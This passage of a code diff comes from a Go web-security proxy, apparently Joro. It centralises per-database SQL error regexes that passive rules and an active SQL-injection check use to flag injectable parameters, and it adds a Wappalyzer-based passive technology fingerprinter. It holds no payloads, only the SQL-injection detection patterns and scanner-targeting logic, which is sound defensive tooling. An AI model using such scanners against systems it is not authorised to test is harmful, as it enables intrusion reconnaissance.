CategoryReflection, CategoryDOMXSS, CategoryTemplate,
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
CategoryOpenRedirect, CategoryPathTraversal,
}
}
+8 -12
View File
@@ -897,30 +897,26 @@ func disclosureRules() []Rule {
},
// SQL errors, one rule per engine so the finding names the DBMS.
// Patterns are shared with the active SQLi rule via sqlerror.go so the two
// never drift.
sqlErr("sql-error-mysql", "MySQL error disclosed",
"A MySQL or MariaDB error reaching the client. The message discloses fragments of the query, and because unsanitized input provoked it, marks the parameter as a SQL injection candidate.",
"",
`(?i)(?:You have an error in your SQL syntax|Warning: mysqli?_[a-z_]+\(\)|MySQLSyntaxErrorException|com\.mysql\.(?:jdbc|cj)|check the manual that corresponds to your (?:MySQL|MariaDB))`),
"", SQLErrMySQL),
sqlErr("sql-error-postgres", "PostgreSQL error disclosed",
"A PostgreSQL error reaching the client. PSQLException and unterminated-string text disclose query structure and mark the parameter as a SQL injection candidate.",
"",
`(?i)(?:PG::[A-Za-z]+Error|org\.postgresql\.util\.PSQLException|pg_query\(\)|unterminated quoted string at or near|invalid input syntax for)`),
"", SQLErrPostgres),
sqlErr("sql-error-mssql", "SQL Server error disclosed",
"A Microsoft SQL Server error reaching the client. Unclosed-quotation and syntax-near messages disclose query structure and mark the parameter as a SQL injection candidate.",
"",
`(?i)(?:Unclosed quotation mark after the character string|Incorrect syntax near|System\.Data\.SqlClient\.SqlException|Microsoft OLE DB Provider for SQL Server|\[SQL Server\])`),
"", SQLErrMSSQL),
sqlErr("sql-error-oracle", "Oracle error disclosed",
"An Oracle ORA- error code reaching the client. The code identifies the failure precisely and marks the parameter as a SQL injection candidate.",
"ora-",
`\b(ORA-\d{5})\b`),
"ora-", SQLErrOracle),
sqlErr("sql-error-sqlite", "SQLite error disclosed",
"A SQLite error reaching the client. Unrecognized-token and no-such-table messages disclose schema names and mark the parameter as a SQL injection candidate.",
"",
`(?i)(?:SQLite3?::[A-Za-z]+|sqlite3\.(?:Operational|Programming)Error|SQLITE_ERROR|unrecognized token:|no such table:)`),
"", SQLErrSQLite),
sqlErr("sql-error-odbc", "ODBC/JET database error disclosed",
"An ODBC, JET, or DB2 error reaching the client, including PDO SQLSTATE codes. The driver-level message discloses query structure and marks the parameter as a SQL injection candidate.",
"",
`(?i)(?:\[Microsoft\]\[ODBC|Microsoft JET Database Engine|DB2 SQL error|SQLSTATE\[[0-9A-Z]{5}\])`),
"", SQLErrODBC),
// Version and technology fingerprints.
{
+42
View File
@@ -0,0 +1,42 @@
package detect
import "regexp"
// Database-error signatures, one per DBMS. These are the single source of truth
// shared by the passive sql-error-* rules (rules_builtin.go) and the active
// SQL-injection rule (internal/activescan/sqli), which runs them against a probe
// response to confirm error-based SQLi. Keeping one copy stops the two from
// drifting.
const (
SQLErrMySQL = `(?i)(?:You have an error in your SQL syntax|Warning: mysqli?_[a-z_]+\(\)|MySQLSyntaxErrorException|com\.mysql\.(?:jdbc|cj)|check the manual that corresponds to your (?:MySQL|MariaDB))`
SQLErrPostgres = `(?i)(?:PG::[A-Za-z]+Error|org\.postgresql\.util\.PSQLException|pg_query\(\)|unterminated quoted string at or near|invalid input syntax for)`
SQLErrMSSQL = `(?i)(?:Unclosed quotation mark after the character string|Incorrect syntax near|System\.Data\.SqlClient\.SqlException|Microsoft OLE DB Provider for SQL Server|\[SQL Server\])`
SQLErrOracle = `\b(ORA-\d{5})\b`
SQLErrSQLite = `(?i)(?:SQLite3?::[A-Za-z]+|sqlite3\.(?:Operational|Programming)Error|SQLITE_ERROR|unrecognized token:|no such table:)`
SQLErrODBC = `(?i)(?:\[Microsoft\]\[ODBC|Microsoft JET Database Engine|DB2 SQL error|SQLSTATE\[[0-9A-Z]{5}\])`
)
type sqlErrorSig struct {
engine string
re *regexp.Regexp
}
var sqlErrorSigs = []sqlErrorSig{
{"MySQL", regexp.MustCompile(SQLErrMySQL)},
{"PostgreSQL", regexp.MustCompile(SQLErrPostgres)},
{"SQL Server", regexp.MustCompile(SQLErrMSSQL)},
{"Oracle", regexp.MustCompile(SQLErrOracle)},
{"SQLite", regexp.MustCompile(SQLErrSQLite)},
{"ODBC/JET/DB2", regexp.MustCompile(SQLErrODBC)},
}
// MatchSQLError reports whether body contains a database engine's error message,
// returning the engine name and the matched text as evidence.
func MatchSQLError(body []byte) (engine, evidence string, ok bool) {
for _, s := range sqlErrorSigs {
if loc := s.re.FindString(string(body)); loc != "" {
return s.engine, loc, true
}
}
return "", "", false
}
+14
View File
@@ -0,0 +1,14 @@
package techfp
import _ "embed"
// The Wappalyzer fingerprint database, shipped unmodified under its MIT license
// (see wappalyzer/LICENSE.md). It is embedded data, not a Go dependency, so it
// adds nothing to the module graph or the plugin ABI — the reason the library
// itself (which now pulls a headless-browser tree) is not imported.
//
//go:embed wappalyzer/fingerprints_data.json
var fingerprintsJSON []byte
//go:embed wappalyzer/categories_data.json
var categoriesJSON []byte
+392
View File
@@ -0,0 +1,392 @@
package techfp
import (
"context"
"errors"
"log"
"runtime"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/proxy"
)
const (
scanInterval = 500 * time.Millisecond
maxPerTick = 100
progressInterval = 500 * time.Millisecond
// maxBodyScan caps the body handed to the deep (html/scriptSrc/meta) pass.
// A fingerprint lives in the <head> and early markup; scanning megabytes of
// a document body buys nothing.
maxBodyScan = 512 * 1024
)
// ErrScanRunning is returned when a rescan is already in progress.
var ErrScanRunning = errors.New("a fingerprint scan is already running")
// ScanStatus reports an on-demand rescan.
type ScanStatus struct {
Running bool `json:"running"`
JobID string `json:"jobId,omitempty"`
Scanned int `json:"scanned"`
Total int `json:"total"`
StartedAt time.Time `json:"startedAt,omitempty"`
FinishedAt time.Time `json:"finishedAt,omitempty"`
Status string `json:"status,omitempty"` // "running" | "complete" | "stopped"
}
// RescanRequest describes a backfill over captured history. Scope "host" with a
// Host re-fingerprints one host; anything else re-fingerprints all captures.
// Clear drops the derived map first (used on a project switch).
type RescanRequest struct {
Scope string `json:"scope"`
Host string `json:"host,omitempty"`
Clear bool `json:"clear,omitempty"`
}
// Engine owns the cursor over captured traffic and the per-host technology store.
// Analysis runs here, not on the proxy's request path, for the reason detect's
// scanner gives: a browser waiting on a response must never wait on analysis, and
// a pass that pulls from the store is the same code a rescan would run.
type Engine struct {
store *Store
reqs *proxy.Store
broadcast chan<- any
wapp atomic.Pointer[Wappalyzer] // built once on the loop goroutine
ready atomic.Bool
enabled atomic.Bool
cursor atomic.Int64
wake chan struct{}
buildOnce sync.Once
// Rescan machinery, mirroring echo's: one rescan at a time, with cancel.
mu sync.Mutex
status ScanStatus
cancel context.CancelFunc
}
// NewEngine constructs the engine. The database is compiled lazily on the first
// loop iteration so the ~6k RE2 compilations stay off the server's boot path.
func NewEngine(store *Store, reqs *proxy.Store, broadcast chan<- any) *Engine {
e := &Engine{store: store, reqs: reqs, broadcast: broadcast, wake: make(chan struct{}, 1)}
e.enabled.Store(true)
return e
}
// Store exposes the technology store for the API and the active-scan rule.
func (e *Engine) Store() *Store { return e.store }
// Enabled reports whether fingerprinting is active.
func (e *Engine) Enabled() bool { return e.enabled.Load() }
// SetEnabled toggles fingerprinting. A disabled engine no-ops per tick, so a live
// toggle needs no restart.
func (e *Engine) SetEnabled(on bool) {
e.enabled.Store(on)
e.Wake()
}
// ResetCursor rewinds to seq and drops the derived map, because LoadItems
// rewrites sequence numbers and a tag filed under an old one would describe a
// different host's traffic.
func (e *Engine) ResetCursor(seq int) {
e.cursor.Store(int64(seq))
if seq == 0 {
e.store.Clear()
}
}
// Wake nudges the loop without waiting for the next tick.
func (e *Engine) Wake() {
select {
case e.wake <- struct{}{}:
default:
}
}
// Run drives the live scan loop until ctx is cancelled.
func (e *Engine) Run(ctx context.Context) {
e.build()
if !e.ready.Load() {
return // database failed to compile; logged in build
}
ticker := time.NewTicker(scanInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
e.scanOnce(ctx)
case <-e.wake:
e.scanOnce(ctx)
}
}
}
func (e *Engine) build() {
e.buildOnce.Do(func() {
w, st, err := LoadWappalyzer()
if err != nil {
log.Printf("techfp: fingerprint database failed to load: %v", err)
return
}
e.wapp.Store(w)
e.ready.Store(true)
log.Printf("techfp: fingerprint database loaded (%d technologies, %d patterns, %d dropped)",
st.Techs, st.Patterns, st.Dropped)
})
}
func (e *Engine) scanOnce(ctx context.Context) {
if !e.enabled.Load() || e.reqs == nil {
return
}
w := e.wapp.Load()
if w == nil {
return
}
cursor := int(e.cursor.Load())
items := e.reqs.SinceSeq(cursor, maxPerTick)
if len(items) == 0 {
return
}
maxSeq := cursor
for _, it := range items {
if it.Seq > maxSeq {
maxSeq = it.Seq
}
}
changed := e.fanOut(ctx, w, items, false, nil)
e.cursor.Store(int64(maxSeq))
if changed > 0 {
e.emitSummary()
}
}
// StartRescan re-fingerprints captured history in the background: all hosts, or
// one when Scope is "host". Unlike the live loop it forces the deep-scan pass, so
// a host already past the per-host cap is still fully re-examined. One runs at a
// time. Pass the server-lifetime context so the job outlives the request.
func (e *Engine) StartRescan(ctx context.Context, req RescanRequest) (ScanStatus, error) {
if e.reqs == nil {
return ScanStatus{}, errors.New("no capture store")
}
e.mu.Lock()
if e.status.Running {
st := e.status
e.mu.Unlock()
return st, ErrScanRunning
}
items := e.reqs.All()
// Exact host match, deliberately not the case-insensitive substring a listing
// uses: a rescan is work, not a view, and a substring would silently multiply it.
if req.Scope == "host" && req.Host != "" {
filtered := items[:0:0]
for _, it := range items {
if it.Host == req.Host {
filtered = append(filtered, it)
}
}
items = filtered
}
jobID := proxy.GenerateID()
rctx, cancel := context.WithCancel(ctx)
e.cancel = cancel
e.status = ScanStatus{Running: true, JobID: jobID, Total: len(items), StartedAt: time.Now(), Status: "running"}
status := e.status
e.mu.Unlock()
if req.Clear {
e.store.Clear()
}
go e.runRescan(rctx, cancel, jobID, items)
return status, nil
}
func (e *Engine) runRescan(ctx context.Context, cancel context.CancelFunc, jobID string, items []*proxy.CapturedRequest) {
defer cancel()
e.build()
w := e.wapp.Load()
started := time.Now()
e.emit("tech.scan.started", map[string]any{"jobId": jobID, "total": len(items)})
scanned := 0
if w != nil {
scanned = e.fanOut(ctx, w, items, true, func(n int) {
e.mu.Lock()
e.status.Scanned = n
e.mu.Unlock()
e.emit("tech.scan.progress", map[string]any{"jobId": jobID, "scanned": n, "total": len(items)})
})
}
state := "complete"
if ctx.Err() != nil {
state = "stopped"
}
e.mu.Lock()
e.status.Running = false
e.status.Scanned = scanned
e.status.FinishedAt = time.Now()
e.status.Status = state
e.cancel = nil
e.mu.Unlock()
e.emit("tech.scan.complete", map[string]any{
"jobId": jobID, "status": state, "scanned": scanned,
"durationMs": time.Since(started).Milliseconds(),
})
e.emitSummary()
}
// Status returns a copy of the current rescan status.
func (e *Engine) Status() ScanStatus {
e.mu.Lock()
defer e.mu.Unlock()
return e.status
}
// Cancel stops a running rescan.
func (e *Engine) Cancel() {
e.mu.Lock()
cancel := e.cancel
e.mu.Unlock()
if cancel != nil {
cancel()
}
}
func scanWorkers(n int) int {
w := runtime.NumCPU() / 2
if w < 2 {
w = 2
}
if w > 8 {
w = 8
}
if n < w {
w = n
}
return w
}
// fanOut fingerprints items across a bounded pool and returns how many produced a
// change. The pool needs no coordination beyond the store, which is mutexed. force
// bypasses the per-host deep-scan cap (set on a rescan); onProgress, when non-nil,
// is called from the producer at most once per progressInterval.
func (e *Engine) fanOut(ctx context.Context, w *Wappalyzer, items []*proxy.CapturedRequest, force bool, onProgress func(scanned int)) int {
workers := scanWorkers(len(items))
if workers <= 0 {
return 0
}
work := make(chan *proxy.CapturedRequest, workers)
var changed, scanned atomic.Int64
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for it := range work {
if e.analyzeOne(w, it, force) {
changed.Add(1)
}
scanned.Add(1)
}
}()
}
last := time.Now()
for _, it := range items {
select {
case <-ctx.Done():
close(work)
wg.Wait()
return int(changed.Load())
case work <- it:
}
if onProgress != nil && time.Since(last) >= progressInterval {
last = time.Now()
onProgress(int(scanned.Load()))
}
}
close(work)
wg.Wait()
return int(changed.Load())
}
// analyzeOne fingerprints one capture and folds the result into the host's set.
// It reports whether the host's technology set changed.
func (e *Engine) analyzeOne(w *Wappalyzer, it *proxy.CapturedRequest, force bool) bool {
if it == nil || len(it.RespRaw) == 0 || it.Host == "" {
return false
}
resp := httptools.ReadResponse(it.RespRaw)
isHTML := strings.Contains(strings.ToLower(resp.Header.Get("Content-Type")), "html")
deep := isHTML && len(resp.Body) > 0 && (force || e.store.NeedsDeepScan(it.Host))
body := resp.Body
if deep && len(body) > maxBodyScan {
body = body[:maxBodyScan]
}
in := Input{Header: resp.Header, URL: it.URL, IsHTML: deep}
if deep {
in.Body = body
}
dets := w.Fingerprint(in)
if len(dets) == 0 {
if deep {
// Record the deep-scan attempt so a tech-less host does not get
// re-scanned forever.
e.store.Observe(it.Host, true, nil)
}
return false
}
changed := e.store.Observe(it.Host, deep, dets)
if changed {
e.emitHost(it.Host)
}
return changed
}
// emitHost streams a host's current technology set. Droppable: the UI reconciles
// from GET /tech/hosts.
func (e *Engine) emitHost(host string) {
if e.broadcast == nil {
return
}
ht, ok := e.store.Host(host)
if !ok {
return
}
select {
case e.broadcast <- event.WSEvent{Type: "tech.detected", Data: ht}:
default:
}
}
func (e *Engine) emitSummary() {
if e.broadcast == nil {
return
}
hosts, techs := e.store.Summary()
select {
case e.broadcast <- event.WSEvent{Type: "tech.summary", Data: map[string]any{"hosts": hosts, "techs": techs}}:
default:
}
}
// emit sends a rescan lifecycle event, blocking so it cannot be lost (the hub
// fans out to subscribers without blocking).
func (e *Engine) emit(kind string, data any) {
if e.broadcast == nil {
return
}
e.broadcast <- event.WSEvent{Type: kind, Data: data}
}
+184
View File
@@ -0,0 +1,184 @@
package techfp
import (
"sort"
"strings"
"sync"
"time"
)
// Tech is one technology observed on a host, folded over every response that
// contributed to it.
type Tech struct {
Name string `json:"name"`
Version string `json:"version,omitempty"`
Categories []string `json:"categories,omitempty"`
Confidence int `json:"confidence"`
}
// HostTech is the technology set for one host.
type HostTech struct {
Host string `json:"host"`
Technologies []Tech `json:"technologies"`
UpdatedAt time.Time `json:"updatedAt"`
}
// Store is the cumulative per-host technology map. It is rebuilt from the capture
// store on demand (a reset clears it), not persisted separately — the same reason
// echo's reflection map is in-memory: it is derivable from captured traffic.
type Store struct {
mu sync.RWMutex
hosts map[string]map[string]*Tech
seen map[string]int // host -> count of HTML responses deep-scanned
times map[string]time.Time
}
// NewStore creates an empty store.
func NewStore() *Store {
return &Store{
hosts: map[string]map[string]*Tech{},
seen: map[string]int{},
times: map[string]time.Time{},
}
}
// maxDeepScansPerHost caps how many HTML pages of one host get the expensive
// body/scriptSrc/meta pass. Technology is host-stable, so a handful of pages
// settles the set; further pages only re-confirm it.
const maxDeepScansPerHost = 8
// NeedsDeepScan reports whether this host still warrants the body-matching pass.
func (s *Store) NeedsDeepScan(host string) bool {
host = normHost(host)
s.mu.RLock()
defer s.mu.RUnlock()
return s.seen[host] < maxDeepScansPerHost
}
func (s *Store) noteDeepScan(host string) {
s.seen[host]++
}
// Observe folds a response's detections into a host's set and reports whether
// anything changed (a new technology or a newly-learned version), which is what
// gates a broadcast.
func (s *Store) Observe(host string, deep bool, dets []Detection) bool {
host = normHost(host)
s.mu.Lock()
defer s.mu.Unlock()
if deep {
s.noteDeepScan(host)
}
set := s.hosts[host]
if set == nil {
set = map[string]*Tech{}
s.hosts[host] = set
}
changed := false
for _, d := range dets {
cur := set[d.Name]
if cur == nil {
set[d.Name] = &Tech{
Name: d.Name, Version: d.Version,
Categories: d.Categories, Confidence: d.Confidence,
}
changed = true
continue
}
if d.Version != "" && cur.Version == "" {
cur.Version = d.Version
changed = true
}
if d.Confidence > cur.Confidence {
cur.Confidence = d.Confidence
}
}
if changed {
s.times[host] = time.Now()
}
return changed
}
// Host returns the technology set for one host.
func (s *Store) Host(host string) (HostTech, bool) {
host = normHost(host)
s.mu.RLock()
defer s.mu.RUnlock()
set, ok := s.hosts[host]
if !ok || len(set) == 0 {
return HostTech{}, false
}
return s.snapshot(host, set), true
}
// Names returns just the detected technology names for a host, for scan gating.
func (s *Store) Names(host string) []string {
host = normHost(host)
s.mu.RLock()
defer s.mu.RUnlock()
set := s.hosts[host]
out := make([]string, 0, len(set))
for name := range set {
out = append(out, name)
}
return out
}
// Hosts returns every host's technology set, newest first.
func (s *Store) Hosts() []HostTech {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]HostTech, 0, len(s.hosts))
for host, set := range s.hosts {
if len(set) == 0 {
continue
}
out = append(out, s.snapshot(host, set))
}
sort.Slice(out, func(i, j int) bool { return out[i].UpdatedAt.After(out[j].UpdatedAt) })
return out
}
// Clear drops everything, for a cursor reset (history load/clear rewrites the
// sequence numbering the scanner walks).
func (s *Store) Clear() {
s.mu.Lock()
defer s.mu.Unlock()
s.hosts = map[string]map[string]*Tech{}
s.seen = map[string]int{}
s.times = map[string]time.Time{}
}
// Summary counts hosts and distinct technologies.
func (s *Store) Summary() (hosts, techs int) {
s.mu.RLock()
defer s.mu.RUnlock()
distinct := map[string]struct{}{}
for _, set := range s.hosts {
if len(set) == 0 {
continue
}
hosts++
for name := range set {
distinct[name] = struct{}{}
}
}
return hosts, len(distinct)
}
// snapshot builds a sorted HostTech. Caller holds the lock.
func (s *Store) snapshot(host string, set map[string]*Tech) HostTech {
techs := make([]Tech, 0, len(set))
for _, t := range set {
techs = append(techs, *t)
}
sort.Slice(techs, func(i, j int) bool {
if techs[i].Confidence != techs[j].Confidence {
return techs[i].Confidence > techs[j].Confidence
}
return techs[i].Name < techs[j].Name
})
return HostTech{Host: host, Technologies: techs, UpdatedAt: s.times[host]}
}
func normHost(h string) string { return strings.ToLower(strings.TrimSpace(h)) }
+443
View File
@@ -0,0 +1,443 @@
// Package techfp is Joro's passive technology fingerprinter. Like detect, echo
// and anomaly, it only ever reads captured traffic — it never originates a
// request. It pulls responses from the proxy store, matches them against the
// embedded Wappalyzer database, and tags each host with the technologies it
// serves. The active-scan signature rule reads those tags to run only the checks
// that match a host's stack.
//
// # Only what a response reveals
//
// The Wappalyzer database also carries js/ and dom/ rules that require executing
// a page in a browser. This engine evaluates only the HTTP-observable keys —
// headers, cookies, html, scriptSrc, meta and url — and ignores js/dom at load.
// Coverage is therefore honestly narrower than a browser-driven scan rather than
// silently wrong: a tech only detectable by running its JavaScript is simply not
// reported.
//
// # Fail-open, because it is advisory
//
// Unlike a vulnerability finding, a technology tag is advisory: a wrong tag only
// mis-gates a later scan. So a pattern that will not compile under RE2 is dropped
// (not an error), and gating fails open on an unknown version.
package techfp
import (
"encoding/json"
"fmt"
"net/http"
"regexp"
"strconv"
"strings"
)
// Detection is one technology matched in a single response.
type Detection struct {
Name string
Version string
Categories []string
Confidence int
}
// Input is the HTTP-observable surface of one response.
type Input struct {
Header http.Header
URL string
Body []byte // decoded body, already size-capped; only read when IsHTML
IsHTML bool
}
// cpattern is a compiled Wappalyzer pattern. A nil re means presence-only (an
// empty pattern string, used by cookie rules that match on a cookie's existence).
type cpattern struct {
re *regexp.Regexp
verGroup int // capture group holding the version, 0 for none
conf int // confidence weight, default 100
}
// techDef is one technology's compiled rules.
type techDef struct {
name string
cats []string
headers map[string][]cpattern // canonical header name -> patterns
cookies map[string][]cpattern // lower cookie name -> patterns
meta map[string][]cpattern // lower meta name -> patterns
html []cpattern
scriptSrc []cpattern
url []cpattern
implies []string
}
func (t *techDef) deep() bool {
return len(t.html) > 0 || len(t.scriptSrc) > 0 || len(t.meta) > 0
}
// Wappalyzer is the compiled, queryable fingerprint database.
type Wappalyzer struct {
byName map[string]*techDef
// Field-partitioned views so a lookup touches only the techs that declare a
// rule of that kind, not all ~7600.
headerTechs []*techDef
cookieTechs []*techDef
urlTechs []*techDef
deepTechs []*techDef
}
// Names returns every technology name in the database. tools/nucleigen uses it to
// map a nuclei template's tags to canonical technology names for RequiresTech.
func (w *Wappalyzer) Names() []string {
out := make([]string, 0, len(w.byName))
for name := range w.byName {
out = append(out, name)
}
return out
}
// Stats reports how the database compiled, for a startup log line.
type Stats struct {
Techs int
Patterns int
Dropped int // patterns rejected by RE2
}
// stringList unmarshals a JSON value that may be a string or an array of strings.
type stringList []string
func (s *stringList) UnmarshalJSON(b []byte) error {
b = []byte(strings.TrimSpace(string(b)))
if len(b) == 0 || string(b) == "null" {
return nil
}
if b[0] == '[' {
var a []string
if err := json.Unmarshal(b, &a); err != nil {
return err
}
*s = a
return nil
}
var str string
if err := json.Unmarshal(b, &str); err != nil {
return err
}
*s = []string{str}
return nil
}
type rawApp struct {
Cats []int `json:"cats"`
Headers map[string]stringList `json:"headers"`
Cookies map[string]stringList `json:"cookies"`
Meta map[string]stringList `json:"meta"`
HTML stringList `json:"html"`
ScriptSrc stringList `json:"scriptSrc"`
URL stringList `json:"url"`
Implies stringList `json:"implies"`
}
type rawCategory struct {
Name string `json:"name"`
}
// LoadWappalyzer parses and compiles the embedded database. It is called once,
// from the engine's background loop, so the RE2 compilation cost stays off the
// server's boot path.
func LoadWappalyzer() (*Wappalyzer, Stats, error) {
var fp struct {
Apps map[string]rawApp `json:"apps"`
}
if err := json.Unmarshal(fingerprintsJSON, &fp); err != nil {
return nil, Stats{}, fmt.Errorf("fingerprints: %w", err)
}
var cats map[string]rawCategory
if err := json.Unmarshal(categoriesJSON, &cats); err != nil {
return nil, Stats{}, fmt.Errorf("categories: %w", err)
}
w := &Wappalyzer{byName: make(map[string]*techDef, len(fp.Apps))}
var st Stats
for name, app := range fp.Apps {
t := &techDef{name: name}
for _, id := range app.Cats {
if c, ok := cats[strconv.Itoa(id)]; ok && c.Name != "" {
t.cats = append(t.cats, c.Name)
}
}
t.headers = compileNamed(app.Headers, http.CanonicalHeaderKey, &st)
t.cookies = compileNamed(app.Cookies, strings.ToLower, &st)
t.meta = compileNamed(app.Meta, strings.ToLower, &st)
t.html = compileList(app.HTML, &st)
t.scriptSrc = compileList(app.ScriptSrc, &st)
t.url = compileList(app.URL, &st)
for _, imp := range app.Implies {
if n := strings.TrimSpace(splitPattern(imp)[0]); n != "" {
t.implies = append(t.implies, n)
}
}
w.byName[name] = t
st.Techs++
if len(t.headers) > 0 {
w.headerTechs = append(w.headerTechs, t)
}
if len(t.cookies) > 0 {
w.cookieTechs = append(w.cookieTechs, t)
}
if len(t.url) > 0 {
w.urlTechs = append(w.urlTechs, t)
}
if t.deep() {
w.deepTechs = append(w.deepTechs, t)
}
}
return w, st, nil
}
func compileNamed(in map[string]stringList, key func(string) string, st *Stats) map[string][]cpattern {
if len(in) == 0 {
return nil
}
out := make(map[string][]cpattern, len(in))
for name, pats := range in {
var cps []cpattern
for _, p := range pats {
if cp, ok := compilePattern(p, st); ok {
cps = append(cps, cp)
}
}
// A named rule with only uncompilable patterns is still a presence check.
if len(cps) == 0 {
cps = []cpattern{{conf: 100}}
}
out[key(name)] = cps
}
return out
}
func compileList(in stringList, st *Stats) []cpattern {
var out []cpattern
for _, p := range in {
if cp, ok := compilePattern(p, st); ok {
out = append(out, cp)
}
}
return out
}
// splitPattern splits a Wappalyzer pattern on its "\;" tag separator.
func splitPattern(p string) []string { return strings.Split(p, `\;`) }
// compilePattern parses one Wappalyzer pattern: the leading regex plus optional
// \;version: and \;confidence: tags. An empty regex compiles to a presence-only
// pattern; a regex RE2 rejects is dropped (counted in Stats.Dropped).
func compilePattern(raw string, st *Stats) (cpattern, bool) {
st.Patterns++
parts := splitPattern(raw)
expr := parts[0]
cp := cpattern{conf: 100}
for _, tag := range parts[1:] {
switch {
case strings.HasPrefix(tag, "version:"):
cp.verGroup = firstBackref(tag[len("version:"):])
case strings.HasPrefix(tag, "confidence:"):
if n, err := strconv.Atoi(strings.TrimSpace(tag[len("confidence:"):])); err == nil {
cp.conf = n
}
}
}
if expr == "" {
return cp, true
}
re, err := regexp.Compile("(?i)" + expr)
if err != nil {
st.Dropped++
return cpattern{}, false
}
cp.re = re
return cp, true
}
var backrefRe = regexp.MustCompile(`\\(\d+)`)
// firstBackref returns the first \N group index in a version spec, or 0. The
// ternary forms Wappalyzer sometimes uses (\1?\2:) degrade to their first group.
func firstBackref(spec string) int {
m := backrefRe.FindStringSubmatch(spec)
if m == nil {
return 0
}
n, _ := strconv.Atoi(m[1])
return n
}
// Fingerprint returns every technology the input reveals, with implied
// technologies resolved transitively.
func (w *Wappalyzer) Fingerprint(in Input) []Detection {
hits := map[string]*Detection{}
mark := func(t *techDef, cp cpattern, m []string) {
d := hits[t.name]
if d == nil {
d = &Detection{Name: t.name, Categories: t.cats, Confidence: cp.conf}
hits[t.name] = d
}
if cp.conf > d.Confidence {
d.Confidence = cp.conf
}
if d.Version == "" && cp.verGroup > 0 && len(m) > cp.verGroup {
d.Version = strings.TrimSpace(m[cp.verGroup])
}
}
match := func(t *techDef, cps []cpattern, hay string) {
for _, cp := range cps {
if cp.re == nil {
mark(t, cp, nil)
continue
}
if m := cp.re.FindStringSubmatch(hay); m != nil {
mark(t, cp, m)
}
}
}
if in.Header != nil {
for _, t := range w.headerTechs {
for name, cps := range t.headers {
vals := in.Header.Values(name)
if len(vals) == 0 {
continue
}
match(t, cps, strings.Join(vals, ", "))
}
}
if cookies := parseSetCookies(in.Header); len(cookies) > 0 {
for _, t := range w.cookieTechs {
for name, cps := range t.cookies {
if v, ok := cookies[name]; ok {
match(t, cps, v)
}
}
}
}
}
if in.URL != "" {
for _, t := range w.urlTechs {
match(t, t.url, in.URL)
}
}
if in.IsHTML && len(in.Body) > 0 {
body := string(in.Body)
scripts := extractScriptSrcs(body)
metas := extractMetas(body)
for _, t := range w.deepTechs {
match(t, t.html, body)
for _, cp := range t.scriptSrc {
for _, src := range scripts {
if cp.re == nil {
mark(t, cp, nil)
break
}
if m := cp.re.FindStringSubmatch(src); m != nil {
mark(t, cp, m)
break
}
}
}
for name, cps := range t.meta {
if v, ok := metas[name]; ok {
match(t, cps, v)
}
}
}
}
w.resolveImplies(hits)
out := make([]Detection, 0, len(hits))
for _, d := range hits {
out = append(out, *d)
}
return out
}
// resolveImplies adds implied technologies transitively. Implied techs are given
// a reduced confidence so a directly-observed tech always outranks an inferred one.
func (w *Wappalyzer) resolveImplies(hits map[string]*Detection) {
queue := make([]string, 0, len(hits))
for name := range hits {
queue = append(queue, name)
}
for len(queue) > 0 {
name := queue[0]
queue = queue[1:]
t := w.byName[name]
if t == nil {
continue
}
for _, imp := range t.implies {
if _, seen := hits[imp]; seen {
continue
}
it := w.byName[imp]
cats := []string(nil)
if it != nil {
cats = it.cats
}
hits[imp] = &Detection{Name: imp, Categories: cats, Confidence: 50}
queue = append(queue, imp)
}
}
}
// parseSetCookies maps lower-cased cookie names to their values from Set-Cookie.
func parseSetCookies(h http.Header) map[string]string {
vals := h.Values("Set-Cookie")
if len(vals) == 0 {
return nil
}
out := make(map[string]string, len(vals))
for _, c := range vals {
pair := c
if i := strings.IndexByte(pair, ';'); i >= 0 {
pair = pair[:i]
}
name, value, ok := strings.Cut(pair, "=")
if !ok {
continue
}
out[strings.ToLower(strings.TrimSpace(name))] = strings.TrimSpace(value)
}
return out
}
// HTML attribute extractors, hand-rolled and lenient for the same reason echo's
// context scanner is: these run over adversarial markup and x/net/html's strict
// tokenizer would reject what a browser tolerates.
var (
scriptSrcRe = regexp.MustCompile(`(?i)<script\b[^>]*\bsrc\s*=\s*["']?([^"'\s>]+)`)
metaTagRe = regexp.MustCompile(`(?i)<meta\b[^>]*>`)
metaNameRe = regexp.MustCompile(`(?i)\b(?:name|property|http-equiv)\s*=\s*["']?([^"'\s>]+)`)
metaContRe = regexp.MustCompile(`(?i)\bcontent\s*=\s*["']?([^"'>]*)`)
)
func extractScriptSrcs(body string) []string {
ms := scriptSrcRe.FindAllStringSubmatch(body, -1)
out := make([]string, 0, len(ms))
for _, m := range ms {
out = append(out, m[1])
}
return out
}
func extractMetas(body string) map[string]string {
tags := metaTagRe.FindAllString(body, -1)
out := make(map[string]string, len(tags))
for _, tag := range tags {
name := metaNameRe.FindStringSubmatch(tag)
cont := metaContRe.FindStringSubmatch(tag)
if name == nil || cont == nil {
continue
}
out[strings.ToLower(name[1])] = cont[1]
}
return out
}
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 ProjectDiscovery, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -0,0 +1,774 @@
{
"1": {
"groups": [
3
],
"name": "CMS",
"priority": 1
},
"2": {
"groups": [
3,
4,
18
],
"name": "Message boards",
"priority": 1
},
"3": {
"groups": [
5
],
"name": "Database managers",
"priority": 2
